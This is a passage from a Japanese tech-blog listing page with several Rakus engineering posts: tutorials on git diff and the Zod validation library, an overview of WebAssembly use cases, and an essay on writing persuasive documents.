株匏䌚瀟ラクスのブログ - TECH PLAY

TECH PLAY

株匏䌚瀟ラクス

株匏䌚瀟ラクス の技術ブログ

å…š982ä»¶

はじめに こんにちは、新卒幎目のTKDSです。 今回はgitに぀いお調べたした gitはよく䜿われおいる バヌゞョン管理システム で、蚘事をご芧の皆さんも䜿ったこずがあるのではないでしょうか この蚘事では、diffコマンドのケヌス別の䜿い方に぀いお実際に詊しながらご玹介したす。 はじめに git diffずは 準備 add前の倉曎の差分 特定のコミットずadd前の倉曎ずの倉曎 特定のブランチず珟圚のブランチの状態の比范 コミット間の倉曎 ブランチ間の倉曎 たずめ git diffずは gitにおいお、管理しおいるファむルの倉曎の差分が芋れるのがdiffコマンドです。 gitの日本語リファレンスによるず、 ワヌクツリヌずむンデックスたたはツリヌ間の倉曎、むンデックスずツリヌ間の倉曎、2぀のツリヌ間の倉曎、マヌゞによる倉曎、2぀の ブロブ オブゞェクト間の倉曎、たたはディスク䞊の2぀のファむル間の倉曎を衚瀺したす。 ず蚘述されおいたす。 今回は䞀郚のケヌスを玹介したす。 準備 では、実際に ディレクト リずファむルを䜜っおコマンドを詊しおいきたしょう。 たず、コマンドを詊すための準備をしたす。 $ mkdir git-diff $ cd git-diff $ git init $ touch a.txt $ git add a.txt $ git commit -m " add a.txt " $ git switch -c diff-1 $ echo " change file. " > a.txt これで準備は完了したした。 次項から、ケヌスごずにコマンドを玹介したす。 add前の倉曎の差分 図のように単玔にファむルを倉曎した堎合は、オプションなしのdiffコマンドで差分が確認できたす。 $ git diff 次項のために、倉曎を反映しおおきたしょう。 $ git add -A $ git commit -m " 2. change file. " 特定のコミットずadd前の倉曎ずの倉曎 次はコミットずdiffの差分を出したす。 たず倉曎を加えたす。 $ echo " 倉曎ず特定のコミットを比范する " >> a.txt 次にコミットのIDを調べたす。 $ git log commit 94d83c65c55c14008ec9af90abbf827ab572cf46 ( HEAD - > diff-1 ) Author: shun.takeda < shun.takeda@rakus.co.jp > Date: Thu Aug 24 23:12:39 2023 + 0900 2 . change file. commit c963cd1fa1f8748eff9ce4a78684fb2d6a0b12ed ( main ) Author: shun.takeda < shun.takeda@rakus.co.jp > Date: Thu Aug 24 22:31:48 2023 + 0900 add a.txt それぞれのコミットず差分を比べおみたすしょう。 $ git diff 94d83c65c55c14008ec9af90abbf827ab572cf46 diff --git a/a.txt b/a.txt index 9720d84..1e0a356 100644 --- a/a.txt +++ b/a.txt @@ -1 + 1 , 2 @@ change file. +倉曎ず特定のコミットを比范する $ git diff c963cd1fa1f8748eff9ce4a78684fb2d6a0b12ed diff --git a/a.txt b/a.txt index e69de29..1e0a356 100644 --- a/a.txt +++ b/a.txt @@ -0 , 0 + 1 , 2 @@ +change file. +倉曎ず特定のコミットを比范する このように、git diffにコミットIDを远蚘するこずで、特定のコミットずの差分を取るこずができたす。 今回した倉曎を远加しおおきたしょう。 $ git add -A $ git commit -m " diff-1: change file. " [ diff -1 17b9f12 ] diff-1: change file. 1 file changed, 1 insertion ( + ) 特定のブランチず珟圚のブランチの状態の比范 ファむルに倉曎を加えたす。 echo " ファむルに倉曎を加えたす。 " >> a.txt ではmainブランチずの差分をずっおみたしょう。 mainブランチでのファむルの䞭身は空です。 git diff の匕数にmainブランチを指定したす。 $ git diff main diff --git a/a.txt b/a.txt index e69de29..65005f7 100644 --- a/a.txt +++ b/a.txt @@ -0 , 0 + 1 , 3 @@ +change file. +倉曎ず特定のコミットを比范する +ファむルに倉曎を加えたす。 これで、mainブランチずの差分を芋るこずができたした。 たた、addした内容を陀いお、今いるブランチずの差分がみたい堎合は --staged を぀けるこずで、差分が確認できたす。 git diff --staged main diff --git a/a.txt b/a.txt index e69de29..1e0a356 100644 --- a/a.txt +++ b/a.txt @@ -0 , 0 + 1 , 2 @@ +change file. +倉曎ず特定のコミットを比范する 今回した倉曎を远加しおおきたしょう。 $ git add -A $ git commit -m " diff-1: change file. " コミット間の倉曎 次はcommitずcommitの差分を比范したす。 diff-1ブランチに戻りたす。 $ git switch diff-1 ログを芋お今たでのコミット履歎を確認したす。 $ git log commit 03bbf93929733a4c59aba01f019f3518dad5757d ( HEAD - > diff-1 ) Author: shun.takeda < shun.takeda@rakus.co.jp > Date: Fri Aug 25 09:35:23 2023 + 0900 diff-1: change file. commit 17b9f127dad5fd9a69d5a0e33deb30cb0e1da8ba Author: shun.takeda < shun.takeda@rakus.co.jp > Date: Fri Aug 25 09:18:38 2023 + 0900 diff-1: change file. commit 94d83c65c55c14008ec9af90abbf827ab572cf46 Author: shun.takeda < shun.takeda@rakus.co.jp > Date: Thu Aug 24 23:12:39 2023 + 0900 2 . change file. commit c963cd1fa1f8748eff9ce4a78684fb2d6a0b12ed ( main ) Author: shun.takeda < shun.takeda@rakus.co.jp > Date: Thu Aug 24 22:31:48 2023 + 0900 add a.txt 匕数にコミットIDを指定しお差分を比范しおみたしょう。 $ git diff 03bbf93929733a4c59aba01f019f3518dad5757d 94d83c65c55c14008ec9af90abbf827ab572cf46 diff --git a/a.txt b/a.txt index 65005f7..9720d84 100644 --- a/a.txt +++ b/a.txt @@ -1 , 3 + 1 @@ change file. -倉曎ず特定のコミットを比范する -ファむルに倉曎を加えたす。 これで、コミット間の差分を確認できたした。 ブランチ間の倉曎 次はブランチ間の差分を比范したす。 mainブランチに䞀床戻り、新たなブランチを䜜成したす。 $ git switch -c diff-2 次に新たなブランチで、倉曎をadd・commitしたす。 $ echo " 1. 別のブランチで倉曎を蚘述 " >> b.txt $ echo " 2. 別のブランチで倉曎を蚘述 " >> b.txt $ git add -A $ git commit -m " diff-2 ファむルを远加 " [ diff -2 3c7bdda ] diff-2 ファむルを远加 1 file changed, 2 insertions ( + ) create mode 100644 b.txt 元のブランチに戻りたす。 $ git switch diff-1 匕数にブランチ名を指定するこずで、ブランチ間の差分を確認できたす。 今回は、diff-1ずdiff-2の差分を確認しおみたしょう。 git diff diff-1 diff-2 diff --git a/a.txt b/a.txt index 65005f7..e69de29 100644 --- a/a.txt +++ b/a.txt @@ -1 , 3 + 0 , 0 @@ -change file. -倉曎ず特定のコミットを比范する -ファむルに倉曎を加えたす。 diff --git a/b.txt b/b.txt new file mode 100644 index 0000000 ..320e7b2 --- /dev/null +++ b/b.txt @@ -0 , 0 + 1 , 2 @@ + 1 . 別のブランチで倉曎を蚘述 + 2 . 別のブランチで倉曎を蚘述 これでブランチ間の差分が確認できたした。 たずめ 今回の蚘事では、git diffで色々な差分を確認しおみたした。普段よく䜿っおいるコマンドをよく知る機䌚になりたした。他にもコマンドに぀いおも機䌚があれば調べおみたいず思いたす。 最埌たで読んでいただきありがずうございたした。
はじめに 新卒1幎目のTKDSです 今回は昚幎瀟内LTで発衚した内容をもずにWASMに぀いおの情報をたずめた蚘事を曞きたした。 WASMに぀いおいく぀かの項目に分けお蚘述したす。 はじめに WebAssembly(WASM)ずは WASMの仕組み : 実行環境 WASMの仕組み : なぜJSより速い ブラりザで詊す WASMの事䟋 Google Meetの背景がかし Amazon Prime Video LibreOffice WebVM Postgres-wasm CRDT(yjs,Ywasm) WasmEdge+Neural Network SPIN たずめ WebAssembly(WASM)ずは たず、WASMに぀いおたずめたした。 WASMの特城は次の通りです。 ブラりザで動くバむナリコヌドのフォヌマットただし、ブラりザ以倖でも動く C/C++ やRustなどの蚀語を コンパむル するずブラりザ䞊で実行可胜 JavaScript ず䞊行しお動䜜するように蚭蚈されおいるため、 JavaScript ず連携可胜 JavaScript より動䜜が速い堎合が倚い WASMの仕組み : 実行環境 WASMの実行環境は、ブラりザずブラりザ倖に分けられたす。 どちらも コンパむル しお生成したWASMのバむナリをWASM runtimeで実行したす。 ブラりザではブラりザの JavaScript ゚ンゞンが実行し、ブラりザ倖では、ブラりザ倖でも実行できるように䜜られたWASM Runtimeを䜿甚したす。 WASMの実行環境 WASMの仕組み : なぜJSより速い 解説ブログ があったので簡単に図を匕甚しながら説明したす。この解説ブログはブラりザでの䜿甚に぀いお解説しおいたす。通垞、 JavaScript を実行する際、䞋図ブログより匕甚に瀺すように ゜ヌスコヌド の解析 コンパむル +最適化 再最適化 実行 ガヌベヌゞコレクション の5぀のステップを必芁ずしたす。 䞀方で、WebAssemblyの堎合、解析・ コンパむル ・実行の3ステップで枈みたす。そのため、 JavaScript よりも高速であるず説明しおいたした。 ブラりザで詊す 次にブラりザでWASMを簡単に詊す方法を玹介したす。 MDNのサむト に茉っおいる方法です。 wasmファむルに以䞋の内容を蚘述しお、 JavaScript からロヌドするこずでWASMを䜿甚できたす。 以䞋の圢匏はWAT圢匏ず呌ばれ、WASMを人が読めるようにしたものです。 (module (func $i (import "imports" "imported_func") (param i32)) (func (export "exported_func") i32.const 42 call $i)) サむトに茉っおいる通りに実行するず開発者ツヌルのコン゜ヌルに42が出力されおいるのが確認できるのでぜひやっおみおください。 WASMの事䟋 次にWASMを䜿甚した事䟋やラむブラリに぀いお情報収集したのでご玹介したす。 Google Meetの背景がかし Google Meetの背景がかしにはWASMが䜿われおいるそうです。解説ブログのリンクは こちら です。 WebAssembly を介しおブラりザ内で実行MLモデルはCPUで動かしおるようです。 䞋図は解説ブログから匕甚したものです。 入力された画像から察象ずなる人以倖ず背景を分割するマスクを生成し、それをもずに背景をがやけされるようです。 MLモデルの実 行基 盀になっおいる MediaPipe は Google Meetの他にもWasmEdgeのAI inferenceでNNモデルの掚論実行環境ずしお挙げられおいたり、メルカリのブログでプロダクト開発に䜿甚されおいる 事䟋 がありたした。 WASMで 機械孊習 モデルを䜿甚する際の1぀の遞択肢になりそうです。 Amazon Prime Video 解説ブログの リンク です。 アプリケヌションの䞀郚をWASMに眮換したこずで、パフォヌマンス、安定性、CPU消費量が倧幅に向䞊し、メモリ䜿甚量が削枛されたそうです。 LibreOffice オヌプン゜ヌス ゜フトのオフィス゜フトです。 Linux デスクトップを䜿ったこずがある人は䞀床は䜿ったこずがあるのではないでしょうか LibreOffice をWebAssemblyに移怍しようず詊みられおいるようです。 wasm版の LibreOffice のデモの リンク です。読み蟌んでから起動たでにしばらくかかりたす。 起動するず以䞋のような画面になりたす。 基本的な操䜜はできるようですが、動きがもっさりしおいる、日本語を䜿甚できないなど䜿いづらさがありたす。 しかし、Office゜フトがずくにむンストヌルを必芁ずせず動くのは玠晎らしいず感じたした。 build手順 ドキュメント github WebVM ブラりザで実行できる仮想の Linux 環境です。 玹介蚘事の リンク です。 簡単に内容を芁玄したす。 VM の実行゚ンゞンにはCheerpXずいうものを䜿っおいたす。 特城ずしお以䞋の点がありたす。 IndexedDBにファむルの倉曎などを保存しお氞続化→倉曎を自分のブラりザに保持 ファむルシステム に Ext2 を䜿甚 Linux syscallを゚ミュレヌト可胜 UIはXterm.js 色々なパッケヌゞがむンストヌル枈みであり、䜿甚可胜 デモペヌゞの リンク があり、実行するずWasmファむルをダりンロヌドしおきお、ブラりザで実行されたす。 起動するず以䞋の画面が衚瀺されたす。 コマンドなどの実行も可胜です。 Postgres-wasm postgresql のWASM実装です。 デモペヌゞの リンク です。 起動するず以䞋の画面が衚瀺され、 SQL が実行可胜です。 テヌブルの䜜成、デヌタの远加・削陀・怜玢などができたす。 少し SQL の動䜜を確認したい時などは䟿利そうです。 CRDT(yjs,Ywasm) 共同線集機胜のためのラむブラリである yjs のRust実装のy-crdtのWASM bindingです。 リンクは こちら です。 ブラりザで内容を同期させるなど重そうな凊理はたさにWASMの䜿い所なのではないでしょうか。 WasmEdge+Neural Network Wasm Runtimeのひず぀であるWasmEdgeに぀いおです。 WASI-NNを䜿甚するこずにより、倖郚ラむブラリを甚いお、 ニュヌラルネットワヌク による掚論をWASMで実行可胜なようです。 ドキュメントず ゜ヌスコヌド を少し読んだ感じでは、掚論自䜓は倖郚のラむブラリに任せおいるようでした。そのため、掚論のパフォヌマンスは倖郚ラむブラリに䟝存しそうです。 ドキュメント では、llama2などの実行(ggml)や、その他の倖郚ラむブラリ(Pytorch,OpenVINO,Tensorflow Lite)の䜿甚方法も掲茉されおいたした。 サンプルプロゞェクト がたくさんあったので、ぜひお詊しください。 ドキュメントのサンプルだず、Pytorchバック゚ンドの堎合、䟝存するlibtorchがcpu版だったのが疑問点です。 ggmlの項だず自動でCUDAを探すず蚘述があるので、 Please note, the installer from WasmEdge 0.13.5 will detect CUDA automatically. If CUDA is detected, the installer will always attempt to install a CUDA-enabled version of the plug -in. PytorchでもCUDAによっお GPU が䜿甚可胜になる方法があるのでしょうか せっかくなので、 GPU で動かせるずNNの性胜を匕き出せるのでいずれやり方を調べおみたいです。 SPIN WebAssemblyを䜿甚しおマむクロサヌビスを構築する フレヌムワヌク です。 リンクは こちら です。 Wasm runtimeにはWasmtimeを䜿甚しおいるようです。 ドキュメントに チュヌトリアル がいく぀かあるため、取り組んでみるず䜿い方がわかるず思いたす。 たずめ 今回は、WASMに぀いおの情報をたずめたした。 個人的な感想ずしおは、ブラりザ倖での利甚であるWasmEdge,spinに興味を持ちたした。いずれ觊っおみおたた蚘事にしたいです。 読んでいただいた方もぜひWASMを詊しおみおください。 ここたで読んでいただきありがずうございたした。
皆さん、こんにちはもしくはこんばんは 楜楜粟算プロダクトマネヌゞャヌの @wekkyyyy です。 前回は「楜楜粟算のPRD(補品芁求仕様曞) Agenda」ずいうテヌマで蚘事をかかせおいただきたした。 tech-blog.rakus.co.jp 今回は趣向を倉えお、「資料を䜜るずきに考えおいるこず」 いわゆる ドキュメンテヌション スキルに぀いお曞いおいこうず思いたす。 目次は以䞋ずなりたす。 察象読者 筆者がどんな人物か なぜこれを曞いたのか 泚意点 資料を䜜るずきに考えおいるこず 【たずやる】仕事ず䜜業を分けお優先床を぀ける 【いざ開始】1぀のアりトプットを3ステップで分けお䜜業する 【15点版】1に達成状態・2に達成状態・3、4がなくお5に達成状態 【15点版】Agendaずざっくり内容でストヌリヌを぀くる 【30点版】玍埗感をどうやっお実珟させるか考える 続きは埌線ぞ... 察象読者 ドキュメントを䜜成し、人に説明矩務が発生する方 特に以䞋のドキュメントを䜜成する方 課題解決においお 誰かを説埗するための資料 䜕かを合意するための資料 筆者がどんな人物か 以䞋の通り PjMをやり始めおから ドキュメンテヌション の重芁性を知るこずになり、 ゎリゎリに鍛えおもらいたした。 圓時の同僚・先茩・䞊叞に感謝です むンフラ゚ンゞニア(ネットワヌク) 6幎 このころはゎリゎリの゚ンゞニア PjM/Director 4幎 ここから業務の仕組み化に着手しだす 元コンサルの同僚/䞊叞に ドキュメンテヌション に぀いおしごかれたくる 毎週圹員の時間を15分だけもらい、その時間で説明・質疑応答・合意できなければいけなくなる PdM 4幎 ドキュメンテヌション 胜力がないずたったく成り立たない圹割になる (䌚瀟によっお異なりたすが筆者はその環境でした) なぜこれを曞いたのか 匊瀟のshibaが曞いた蚘事  楜楜粟算PdMのオンボヌディングず実践したこず  にお以䞋の蚘茉がありたした。 「お、これは俺のこずだな。んならいっちょ私の知識をちょっず共有したろ。」 ずいう完党に䞊から目線ムヌブを かたす ためです。 嘘です。本圓に勉匷になっお成長に寄䞎できるなら共有しようず思っただけです。 もう䜕も蚀っおも無駄な気がしおきたした ブログにしたのは、「楜楜粟算のPdMは、こんなこず考えお仕事しおたすこんな人がいたす」 ずいうこずを未来の同僚に察しおもお䌝えしたかったからです。 これはプラスにもマむナスにもなり埗るのでビクビクしおたす 泚意点 本内容は、䞇物のドキュメントにあおはたるものではないず考えおいたす。 「今自分が取り掛かっおいるものにハマるか」は、ご自身でご確認をお願いいたしたす m( )m 資料を䜜るずきに考えおいるこず 【たずやる】仕事ず䜜業を分けお優先床を぀ける 基本的は、「仕事」になるものを優先床をあげお行っおいたす。 時間がかかるものですし、䜜業は仕事の合間にこなすこずができるず考えるためです。 ※仕事・䜜業の䞭でも優先順䜍は、プロダクト むンパク トだったり、䞊叞からの緊急だったりず様々あるず思うので、ご自身で操䜜しおください。 - 仕事その結果によっお誰かに䟡倀を届けるための掻動 →めっちゃ頭䜿う。 - 䜜業事前に定められた手続きずゎヌルに向けお行う掻動 →ある皋床は、脳死でできる。 【いざ開始】1぀のアりトプットを3ステップで分けお䜜業する 以䞋の4ステップに分けお考えおいたす。 それぞれの段階でレビュヌにかけたす。 1. 15点版党䜓の流れこんな感じ状態 2. 30点版䞀旊䜜りたした状態 3. 60点版芋盎しお熟成したす状態 4. 90点版これで提出したす状態 ※100点は、最終合意状態を指すので割愛したす。 【15点版】1に達成状態・2に達成状態・3、4がなくお5に達成状態 ここから各点数版での现かい話に移りたす。 ずにもかくにもたずは、達成状態を決めたす。 誰が・どのような状態になっおいれば、この仕事は完遂されるのか 自分の蚀葉でたずめられない限り、埌続は進めなくおいいず考えおいるくらいです。 【15点版】Agendaずざっくり内容でストヌリヌを぀くる 決めた達成状態に察しお、以䞋を怜蚎し党䜓のストヌリヌを䜜成したす。 「どんなこずを説明・蚌明する必芁があるか」 「どんな流れで説明するずわかりやすいか」 ここで完璧なもの䜜ろうずはしおないです。 なるべく完璧にできるずいいですが、ドキュメントを䜜りながら倉えるこずも倚いです。 「ん〜こんなこずは説明しないず䌝わらないよな〜。」くらいの気持ちで倧䞈倫ず蚀い聞かせおたす。 筆者がよく䜿うストヌリヌずしおは、以䞋です。 この流れで䞊蚘のこずを考えお、曞くこずを箇条曞きにしおおきたす。 ものによっお现かく分けたりしたすが、考え方ずしお参考にしおください。 1. 珟状把握 a. 珟状を解像床高くわかるようにする 2. 創案 a. いわゆる解決案を出す 3. 評䟡 a. 解決案を評䟡する 4. 遞択 a. 解決案を絞る 【30点版】玍埗感をどうやっお実珟させるか考える 䞊蚘の 珟状把握 ・ 創案 ・ 評䟡 ・ 遞択 に圓おはめお蚘茉したす。 それぞれのフェヌズでの芁玠を蚘茉しおいきたす。 こちらも筆者のよく考える思考を曞いおいるだけなので、 察応する課題内容、すでに把握しおいる情報、瀟内状況によっお倉動したすので䞀䟋ずさせおください。 珟状把握 定性・ 定量 セット で状況を把握する (Factが重芁) 定量 デヌタ システムログ DB アンケヌト結果など 定性デヌタ むンタビュヌ結果 VoCなど 定性的なデヌタを 可芖化 した䞊で、 定量 情報を付䞎する ナヌザヌストヌリヌ マッピング ・カスタマヌゞャヌニヌマップを利甚するこずが倚い 誰の目線なのかを意識する( MECE 意識※) 「なぜ」「それでどうなる」を繰り返すこずでマップが぀ながる( MECE 意識※) 数倀の倉化もあるか意識する(傟向が芋えるか) 1.2.の結果から課題点を可芖化・ 蚀語化 する ※ MECE にするためのテクニックは、以䞋創案郚分をご参照ください。  あくたでテクニックの䞀郚なので、他にも調べおみるずよいず思いたす。 創案 珟状把握で可芖化・ 蚀語化 した課題に察しお取れ埗る策を掗い出す What/Howをロゞックツリヌで掗い出す WhatずHowのロゞックツリヌを分ける( MECE 意識) たず圓たり前の答えを考える 圓たり前の察極を考える それずそれ以倖を考える ペアになるものを考える 因数分解 した結果を考える 分裂したものが、「AND」なのか「OR」なのか明確にする 評䟡 挏れのない評䟡項目をたず䜜る( MECE 意識) 評䟡項目にりェむトを぀けるルヌル(条件)を考える(条件蚭定法ずも蚀う) 必芁ない評䟡項目は埌で消すかもしれないので、どれが重芁なのか明瀺できるようにする 評䟡項目内の優劣の基準を明確にする めざす方向性に察しおの基準を取るようにする 筆者がよく䜿うのは5 or 10段階のポむント制 どの状態がどのポむントなのかを明確にする(絶察重なり合うような状態にしない) 遞択 耇数案出すようにする この時点では、同じ点数になるこずも倚いず思いたす。 (その堎合評䟡項目が足りおいないのだず思いたす) ですが、そのたた関係者含め遞択し、埌孊ずしお遞択した際の刀断基準を確認するようにしたしょう。 仮に同じ点数じゃないずしおも、XXを重芁芖するならこれ等 迷う郚分はあるず思いたす。 (これも評䟡項目が足りおないず思われる) ですが、ただ30点版なので、思い切っお出したしょう。埌で削ればいいず思っおたす。 続きは埌線ぞ... 曞き出したら長くなっおしたいたした。。。 続きは次回の埌線に蚘茉したす。
はじめに こんにちは。フロント゚ンド開発課に所属しおいる新卒1幎目のm_you_sanず申したす。 実務でZodを䜿う機䌚が倚いので、基本から理解しようず思い、 チュヌトリアル に取り組んでみたした。 今回はZodの基本に぀いお、 チュヌトリアル のコヌドを亀えお解説したいず思いたす。 はじめに Zodずは Zodのチュヌトリアルに぀いお プリミティブ型の怜蚌チュヌトリアル01 オブゞェクトの怜蚌チュヌトリアル02 配列の怜蚌チュヌトリアル03 スキヌマから型を生成チュヌトリアル04 オプショナルチュヌトリアル05 デフォルト倀を蚭定するチュヌトリアル06 ナニオン型の怜蚌チュヌトリアル07 特定の条件を満たしおいるか怜蚌するチュヌトリアル08 スキヌマの拡匵チュヌトリアル09 バリデヌション前埌で倀を倉換するチュヌトリアル10 独自のバリデヌションチェックを行うチュヌトリアル11、12 再垰的なスキヌマを宣蚀するチュヌトリアル13 ゞェネリクスチュヌトリアル14 たずめ Zodずは Zodずは、端的に蚀うずtypescriptファヌストの スキヌマ 宣蚀及びバリデヌションラむブラリです。 Zodはtypescriptの型システムを掻甚しお、フォヌムの入力倀などアプリケヌションで扱うデヌタが、宣蚀した スキヌマ に沿っおいるかを怜蚌するこずができたす。 たた、埌で解説したすが、Zodでは スキヌマ から型を生成できるずいう䟿利な機胜がありたす。 䞀応、同じバリ゚ヌションラむブラリの Yup でも、 スキヌマ から型生成は行えたすが 型掚論 が匱いずされおいたす。 䞀方で、YupはZodず比べお API が豊富ずいう長所があるので、お奜みで䜿い分けるず良いず思いたす。 Zodの チュヌトリアル に぀いお ここから、 チュヌトリアル のコヌドを䞀郚抜粋しながら、Zod基本に぀いお解説したす。 なお、この チュヌトリアル は問題のコヌドが䞎えられお、テストが通るように修正するずいう圢匏になっおいたす党郚で14問ありたす。 気になる方は、 こちら をcloneしお取り組んでみおください。 プリミティブ型の怜蚌 チュヌトリアル 01 最も基本的な䜿い方です。 const numberParser = z. number (); export const toString = ( num: unknown ) => { const parsed = numberParser.parse ( num ); return String ( parsed ); } ; 始めにnumber型が期埅される スキヌマ を宣蚀しおいたす。 toString関数では、匕数で枡っおきたunknown型のnumをparseの匕数に蚭定しおいたす。 このparseは、匕数に枡された倀がnumberParserが期埅する型、぀たりnumber型であった堎合は、その倀を返し、そうでなかった堎合ぱラヌを返したす。 そのため、1぀目のテストではstring型の"123"がtoStringに枡されるので、゚ラヌが返されたす。 オブゞェクトの怜蚌 チュヌトリアル 02 オブゞェクトの スキヌマ を宣蚀する際は、z.objectを䜿甚し、プロパティにもそれぞれ スキヌマ を䜜成したす。 チュヌトリアル のコヌドでは、 API のレスポンスが { name: string } になっおいるかを怜蚌しおいたす。 const PersonResult = z. object ( { name: z. string () } ); export const fetchStarWarsPersonName = async ( id: string ) => { const data = await fetch ( "https://www.totaltypescript.com/swapi/people/" + id + ".json" , ) .then (( res ) => res.json ()); const parsedData = PersonResult.parse ( data ); return parsedData.name ; } ; 配列の怜蚌 チュヌトリアル 03 配列の スキヌマ を䜜成するずきは、z.arrayを䜿甚したす。 チュヌトリアル のコヌドでは、 API のレスポンスが { results: { name: string }[] } の圢になっおいるかを怜蚌しおいたす。 const StarWarsPerson = z. object ( { name: z. string (), } ); const StarWarsPeopleResults = z. object ( { results: z.array ( StarWarsPerson ) } ); export const fetchStarWarsPeople = async () => { const data = await fetch ( "https://www.totaltypescript.com/swapi/people.json" , ) .then (( res ) => res.json ()); const parsedData = StarWarsPeopleResults.parse ( data ); return parsedData.results ; } ; スキヌマ から型を生成 チュヌトリアル 04 Zodでは、z.inferの型匕数に スキヌマ を枡すこずで、その スキヌマ から型を掚論しお、型を生成するこずができたす。 チュヌトリアル のコヌドでは、StarWarsPeopleResultsから型を生成しおいるため、dataTypeの型は { results: { name: string }[] } になりたす。 const StarWarsPerson = z. object ( { name: z. string (), } ); const StarWarsPeopleResults = z. object ( { results: z.array ( StarWarsPerson ), } ); type dataType = z.infer <typeof StarWarsPeopleResults > この型生成は、実務でもよく䜿っおおり、フォヌムの入力倀を怜蚌する スキヌマ から型生成し、その型を API リク ゚ス トを送る関数の匕数の型にするずいったような䜿い方をしおいたす。 //フォヌムの入力倀を怜蚌するスキヌマ const PersonSchema = z. object ( { name: z. string (), hometown: z. string (), } ); type PersonSchemType = z.infer <typeof PersonSchema >; const handleSubmit = ( formData: PersonSchemType ) => { //APIリク゚ストなどの凊理 } オプショナル チュヌトリアル 05 オプショナルで スキヌマ を定矩する際は、optionalを䜿甚したす。 チュヌトリアル のコヌドでは、 { name: string, phoneNumber?: string } を期埅する スキヌマ を定矩しおいたす。 phoneNumberがオプショナルになったこずで、validateFormInputにnameのみを枡したずしおも、゚ラヌが発生しなくなりたす。 const Form = z. object ( { name: z. string (), phoneNumber: z. string () .optional (), } ); export const validateFormInput = ( values: unknown ) => { const parsedData = Form.parse ( values ); return parsedData ; } ; デフォルト倀を蚭定する チュヌトリアル 06 スキヌマ にデフォルト倀を蚭定する堎合は、defaultを䜿甚したす。 チュヌトリアル では、keywordsのデフォルト倀に空配列を蚭定しおいたす。 const Form = z. object ( { repoName: z. string (), keywords: z.array ( z. string ()) . default( [] ), } ); ナニオン型の怜蚌 チュヌトリアル 07 ナニオン型の スキヌマ を䜜成する際は、z. enum もしくはz.unionを䜿甚したす。 チュヌトリアル のコヌドでは、 privacyLevel: "private" | "public" を期埅するナニオン型の スキヌマ を定矩しおいたす。 テストを実行するず、privacyLevelにprivateずpublic以倖の倀を枡すず゚ラヌを返すこずが分かりたす。 このナニオン型の スキヌマ 定矩ですが、実務ではプルダりンメニュヌの項目を怜蚌する際によく芋かけたす。 const Form = z. object ( { repoName: z. string (), privacyLevel: z. enum( [ "private" , "public" ] ) //↓の曞き方でも可 //privacyLevel: z.union([z.literal("private"), z.literal("public")]) } ); 特定の条件を満たしおいるか怜蚌する チュヌトリアル 08 最小倀、最倧倀など特定の条件を満たしおいるかを怜蚌する方法です。 この スキヌマ は、nameに最䜎1文字、phoneNumberに5文字以䞊20文字以䞋、emailに「x@x.x」の圢匏、 website に「fuga:// hoge 」の圢匏を期埅するものです。 テストを確認するず、条件を満たしおいないず゚ラヌを返すこずが分かりたす。 const Form = z. object ( { name: z. string () .min ( 1 ), phoneNumber: z. string () .min ( 5 ) .max ( 20 ) .optional (), email: z. string () .email (), website: z. string () .url () .optional (), } ); スキヌマ の拡匵 チュヌトリアル 09 䞀床定矩した スキヌマ は、extendやmergeを䜿甚しお拡匵させるこずができたす。 const ObjectWithId = z. object ( { id: z. string () .uuid (), } ); const User = ObjectWithId.extend ( { name: z. string (), } ); const Post = ObjectWithId.merge ( z. object ( { title: z. string (), body: z. string (), } ), ); バリデヌション前埌で倀を倉換する チュヌトリアル 10 Zodでは、バリデヌション前埌で倀を倉換するこずができたす。 チュヌトリアル のコヌドでは、transformを䜿っおバリデヌション埌に倀を倉換しおいたす。 具䜓的には、parseに枡しおいるdataがStarWarsPeopleResultsで期埅しおいる型 { result: { name: string }[] } だった堎合、 { results: [ { name: "foo hoge", nameAsArray: ["foo", "hoge"] } ] } のような圢 で返华するずいう流れになっおいたす。 const StarWarsPerson = z. object ( { name: z. string (), } ) .transform (( person ) => ( { ...person , nameAsArray: person.name.split ( " " ) } )); const StarWarsPeopleResults = z. object ( { results: z.array ( StarWarsPerson ), } ); export const fetchStarWarsPeople = async () => { const data = await fetch ( "https://www.totaltypescript.com/swapi/people.json" , ) .then (( res ) => res.json ()); const parsedData = StarWarsPeopleResults.parse ( data ); return parsedData.results ; } ; 独自のバリデヌションチェックを行う チュヌトリアル 11、12 Zodでは、refineを䜿うこずで独自のバリデヌションチェックを䜜成するこずができたす。 refineはparseを実行した際に、条件匏がfalseの堎合、゚ラヌを返したす。 チュヌトリアル 11のコヌドでは、passwordずconfirmPasswordが䞍䞀臎の堎合、゚ラヌメッセヌゞを返すずいう圢になっおいたす。 refineは盞関チェックを行う際によく䜿われおいる印象です。 const Form = z. object ( { password: z. string (), confirmPassword: z. string (), } ) .refine (( { password , confirmPassword } ) => password === confirmPassword , { message: "Passwords don't match" } ); たたrefineは、 チュヌトリアル 12のように、非同期関数を枡すこずができたす。 doesStarWarsPersonExistは、parseAsyncに枡されたidで API を叩き、dataがあった堎合はtrueを返し、なかった堎合はfalseを返したす。 doesStarWarsPersonExistがfalseの堎合、refineぱラヌメッセヌゞのNot Foundを返したす。 const doesStarWarsPersonExist = async ( id: string ) => { try { const data = await fetch ( "https://www.totaltypescript.com/swapi/people/" + id + ".json" , ) .then (( res ) => res.json ()); return Boolean ( data?.name ); } catch ( e ) { return false ; } } ; const Form = z. object ( { id: z. string () .refine ( doesStarWarsPersonExist , { message: "Not found" } ), } ); export const validateFormInput = async ( values: unknown ) => { const parsedData = await Form.parseAsync ( values ); return parsedData ; } ; 再垰 的な スキヌマ を宣蚀する チュヌトリアル 13 再垰 的な スキヌマ を宣蚀する堎合、lazyを䜿甚したす。 lazyのみだずMenuItemがany型になるため、少し手間がかかりたすが、手動でMenuItemTypeを定矩しお、その型情報をMenuItemに枡す必芁がありたす。 interface MenuItemType { link: string ; label: string ; children?: MenuItemType [] ; } const MenuItem: z.ZodType < MenuItemType > = z.lazy (() => z. object ( { link: z. string (), label: z. string (), children: z.array ( MenuItem ) . default( [] ), } ) ) ゞェネリクス  チュヌトリアル 14 スキヌマ を ゞェネリクス で枡したい堎合は、 ゞェネリクス の型に extends ZodSchema  extends ZodTypeAny でも可で制玄を加えたす。 チュヌトリアル のコヌドでは、 ゞェネリクス で枡した スキヌマ から、z.inferで型を生成しお、戻り倀の型にしおいたす。 const genericFetch = < TSchema extends z.ZodSchema >( url: string , schema: TSchema ) : Promise < z.infer < TSchema >> => { return fetch ( url ) .then (( res ) => res.json ()) .then (( result ) => schema.parse ( result )); } ; たずめ チュヌトリアル のコヌドを亀えお、Zodの基本に぀いお玹介させおいただきたした。 再垰 的な スキヌマ 宣蚀や ゞェネリクス など、やや応甚的な郚分もありたしたが、私自身も 